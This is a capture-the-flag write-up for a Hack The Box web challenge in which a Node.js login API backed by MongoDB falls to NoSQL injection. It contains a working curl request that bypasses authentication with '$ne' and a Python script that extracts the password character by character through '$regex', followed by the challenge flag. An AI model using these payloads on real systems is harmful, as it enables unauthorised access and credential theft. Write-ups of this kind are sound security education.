# AbstractFor the detailed version see the [Github page](https://github.com/KamilPacanek/writeups/blob/master/ctf/HTB.CA2021/wildgoosehunt.md).
## ToEWe are given the IP with a port and web application source code dump.
## ReconInitial scan with `nmap` shows the website is running on `Node.js`. Further exploring the web application code reveals straight away that MongoDB is in use with `mongoose` library. Application exposing single API path `/api/login`. This is our point of entry, although it is not vulnerable straight away for NoSQL injection, the method used (`Schema.find`) have promising exploits we can use to successfully log in.
## ExploitUsing the NoSQL `$ne` operator requests (`username[$ne]=&password[$ne]=`) against the API we can get the `admin` username.
```$ curl -d "username%5B%24ne%5D%3D&password%5B%24ne%5D%3D" -v 206.189.121.131:31978/api/login
*   Trying 206.189.121.131:31978...* Connected to 206.189.121.131 (206.189.121.131) port 31978 (#0)> POST /api/login HTTP/1.1> Host: 206.189.121.131:31978> User-Agent: curl/7.74.0> Accept: */*> Content-Length: 45> Content-Type: application/x-www-form-urlencoded> * upload completely sent off: 45 out of 45 bytes* Mark bundle as not supporting multiuse< HTTP/1.1 200 OK< X-Powered-By: Express< Content-Type: application/json; charset=utf-8< Content-Length: 62< ETag: W/"3e-BvDyP4u8qgWgGOMxzemBf6QGSBc"< Date: Fri, 23 Apr 2021 10:41:57 GMT< Connection: keep-alive< Keep-Alive: timeout=5< * Connection #0 to host 206.189.121.131 left intact{"logged":1,"message":"Login Successful, welcome back admin."}   ```
Now by using NoSQL regex requests we can iteratively find out what the correct password is.
```python# mongoregexdiscovery.py# baseline script from 0daylabs
import requestsimport stringimport json 
flag = "CHTB{"url = "http://206.189.121.131:31978/api/login"
restart = True
while restart:    restart = False
    # Characters like *, ., &, and + have to be avoided because we use regex    for i in string.ascii_letters + string.digits + "!@#$%^()@_{}":        payload = flag + i        post_data = {'username': 'admin', 'password[$regex]': payload + ".*"}        r = requests.post(url, data=post_data, allow_redirects=False)
        rData = json.loads(r.content)        if rData["logged"] == 1:        	#we succesfully logged in            print(payload)            restart = True            flag = payload
            # Exit if "}" gives a valid status
            if i == "}":                print("\nFlag: " + flag)                exit(0)            break```
## Solution> `CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r3}`